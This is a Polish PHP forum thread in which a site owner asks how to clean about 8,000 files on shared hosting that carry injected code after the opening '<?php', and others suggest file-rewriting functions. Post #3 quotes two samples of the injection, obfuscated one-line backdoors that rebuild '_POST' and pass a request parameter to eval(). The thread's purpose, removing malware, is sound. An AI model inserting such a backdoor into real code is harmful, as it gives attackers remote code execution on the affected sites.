Post
#1
|
|
|
Grupa: Zarejestrowani Postów: 22 Pomógł: 1 Dołączył: 23.09.2015 Ostrzeżenie: (0%)
|
Witam, opadłem dzis z sił dlatego piszę tutaj,
oczywiście jeden z popularnych hostingów Polskich ma nawał wirusów i też padłem ofiarą. Mam tysiące zainfekowanych plików, wtym tych potrzebnych do życia moim stronom . Infekcja objawia się na dopisaniu do plików do 1 linii zaraz po <?php kawałka kodu. Jak na złość każdy jest inny, i nie mogę go zrobić przez SSH, ponieważ wyszuka mi jeden plik. Pomyślałem że może napisać skrypt który otworzył by wszystkie pliki (listę plików mam w pliku txt) i zamieniłby pierwszą linię kody <?php <kod wirusa> na samo <?php Tylko za cholere niestety nie wiem jak się do tego zabrać, pomoże "któś cuś" ? Bo na ten moment wiążę już sobie pętle... |
|
|
|
![]() |
Post
#2
|
|
|
Grupa: Zarejestrowani Postów: 965 Pomógł: 285 Dołączył: 19.06.2015 Skąd: Warszawa Ostrzeżenie: (0%)
|
file_get_contents zeby otworzyc plik,
str_replace / preg_replace zeby usunąć kod którego chcesz się pozbyć file_put_contents zeby zapisać plik W razie problemów pisz. Ten post edytował kapslokk 11.03.2016, 18:50:25 |
|
|
|
Post
#3
|
|
|
Grupa: Zarejestrowani Postów: 22 Pomógł: 1 Dołączył: 23.09.2015 Ostrzeżenie: (0%)
|
file_get_contents zeby otworzyc plik, str_replace / preg_replace zeby usunąć kod którego chcesz się pozbyć file_put_contents zeby zapisać plik W razie problemów pisz. Ta tylko wyrażenie regularne w tym przypadku to jeszcze większa kombinacja.. jest zainfekowanych 8 tysięcy plików. 1 jednym pliku jest tak: $kcqw0 = "posetru_"; $zcvk82=$kcqw0[2]. $kcqw0[4]. $kcqw0[5]. $kcqw0[4]. $kcqw0[1].$kcqw0[6].$kcqw0[0]. $kcqw0[0]. $kcqw0[3].$kcqw0[5];$yzz8 =$zcvk82 ( $kcqw0[7]. $kcqw0[0].$kcqw0[1].$kcqw0[2]. $kcqw0[4]) ;if( isset (${$yzz8 } ['qe91e7a'] ) ){eval (${$yzz8} ['qe91e7a' ] ) ; }?> w 2 pliku jest tak: <?php $npwu79 ="_tpos";$esz7 =strtoupper ($npwu79[0]. $npwu79[2] . $npwu79[3]. $npwu79[4].$npwu79[1]);if ( isset(${ $esz7 }[ 'qd335c3'] ) ){eval(${$esz7 }['qd335c3' ] );}?> W każdym praktycznie inaczej, wydaje mi się że wyrażenie do tego jest ciężkie do stworzenia dlatego pomyślałem że podmianka 1 lini byłaby najlepsza ... /najłatwiejsza |
|
|
|
Post
#4
|
|
|
Grupa: Zarejestrowani Postów: 965 Pomógł: 285 Dołączył: 19.06.2015 Skąd: Warszawa Ostrzeżenie: (0%)
|
|
|
|
|
Post
#5
|
|
|
Grupa: Zarejestrowani Postów: 22 Pomógł: 1 Dołączył: 23.09.2015 Ostrzeżenie: (0%)
|
Nie chce nadużywać Twojej uprzejmości, ale jakbyś może mógł, j
jak to działa? (IMG:style_emoticons/default/biggrin.gif) |
|
|
|
Post
#6
|
|
|
Grupa: Zarejestrowani Postów: 965 Pomógł: 285 Dołączył: 19.06.2015 Skąd: Warszawa Ostrzeżenie: (0%)
|
file() wczytuje plik jako tablice - jeden element tablicy to jedna linijka z pliku. Pierwszą linijkę zastępujesz, a później zapisujesz do pliku wynik działania funkcji join() z tej tablicy - join tworzy string z tablicy łącząc jej elementy znakiem, który podasz jako pierwszy argument - w tym przypadku jest to \n czyli znak końca linii
|
|
|
|
Post
#7
|
|
|
Grupa: Zarejestrowani Postów: 22 Pomógł: 1 Dołączył: 23.09.2015 Ostrzeżenie: (0%)
|
Warning: file_put_contents() expects parameter 1 to be string, array given in <sciecha>/test.php on line 4
Wywala mi błąd niestety.. EDIT - zrobiłem drobną modyfikacje ... i dlatego, świetnie ! działa! dzięki!!!!!! jednak się nie wieszam wtedy (IMG:style_emoticons/default/biggrin.gif) Ten post edytował emantuch 11.03.2016, 19:06:28 |
|
|
|
Post
#8
|
|
|
Grupa: Zarejestrowani Postów: 8 068 Pomógł: 1414 Dołączył: 26.10.2005 Ostrzeżenie: (0%)
|
@kapslokk \n nie jest wymagane (a nawet nie potrzebne) ponieważ file wczyta linijki z \n, tak więc po zastosowaniu dodatkowego \n....
|
|
|
|
Post
#9
|
|
|
Grupa: Zarejestrowani Postów: 965 Pomógł: 285 Dołączył: 19.06.2015 Skąd: Warszawa Ostrzeżenie: (0%)
|
Nie wiedziałem nawet, dzięki (IMG:style_emoticons/default/smile.gif) zapamiętam (IMG:style_emoticons/default/smile.gif)
|
|
|
|
Post
#10
|
|
|
Grupa: Zarejestrowani Postów: 22 Pomógł: 1 Dołączył: 23.09.2015 Ostrzeżenie: (0%)
|
Panowie,śmieszna jakaś sytuacja wyszła...
zrobiłem sobie hurtowo i dziwny eekt to dało, bo duplikują się pliki i mają taką samą nazwę... np. edytujac plik.php tworzy się nowy plik plik.php ale przy tym zostaje stary plik.php Czyli... w pliku plik.php nie edytuje się pierwsza linia, ale.. tworzy się nowy taki sam plik plik.php ale tylko z pierwszą linią <?php NIe rozumiem takiej sytuacji wcale Mój kod to :
Ten post edytował emantuch 11.03.2016, 19:51:56 |
|
|
|
Post
#11
|
|
|
Grupa: Zarejestrowani Postów: 965 Pomógł: 285 Dołączył: 19.06.2015 Skąd: Warszawa Ostrzeżenie: (0%)
|
|
|
|
|
Post
#12
|
|
|
Grupa: Zarejestrowani Postów: 22 Pomógł: 1 Dołączył: 23.09.2015 Ostrzeżenie: (0%)
|
(IMG:http://czluchow-okna.pl/scre.png)
TO nie jest pusty znak - zobacz sam, Albo może był... dałem wszędzie trim i chyba ok. jeszcze się upewnię. Ale dzięki wielkie! Zastanawia mnie tylko.. jeżeli: $plik1 = $plik[$i]; $plik2 = $plik[$i]; to jest to samo, no nie? A więc czemu mogłaby wyjść różnica ? Ten post edytował emantuch 11.03.2016, 20:01:01 |
|
|
|
Post
#13
|
|
|
Grupa: Zarejestrowani Postów: 965 Pomógł: 285 Dołączył: 19.06.2015 Skąd: Warszawa Ostrzeżenie: (0%)
|
Nie chce wyjsc na jakiegos oszołoma, ale obstawiam, że to wina windowsa (IMG:style_emoticons/default/biggrin.gif)
|
|
|
|
Post
#14
|
|
|
Grupa: Zarejestrowani Postów: 22 Pomógł: 1 Dołączył: 23.09.2015 Ostrzeżenie: (0%)
|
Haha (IMG:style_emoticons/default/biggrin.gif)
W teorii wydaje się to nie możliwe, bo cały proces wykonywany jest na Linuxie , tylko plik ze skryptem zapisany na Windows, ale za to a Atomie, a nie notatniku więc dlatego się zastanawiam, o co to chodzi.... Ważne że działa, nie wnikam w to (IMG:style_emoticons/default/biggrin.gif) Dzięki raz jeszcze edit Magiczne "ls" pokazało że na końcu tych duplikatów był " ? " - znak zapytania.. ciekawe.. nie kumam tego jeszcze bardziej. plik oryginalny: plik.php a ten podmieniany plik.php? Ten post edytował emantuch 11.03.2016, 20:14:25 |
|
|
|
Post
#15
|
|
|
Grupa: Zarejestrowani Postów: 8 068 Pomógł: 1414 Dołączył: 26.10.2005 Ostrzeżenie: (0%)
|
|
|
|
|
![]() ![]() |
|
Aktualny czas: 24.12.2025 - 22:51 |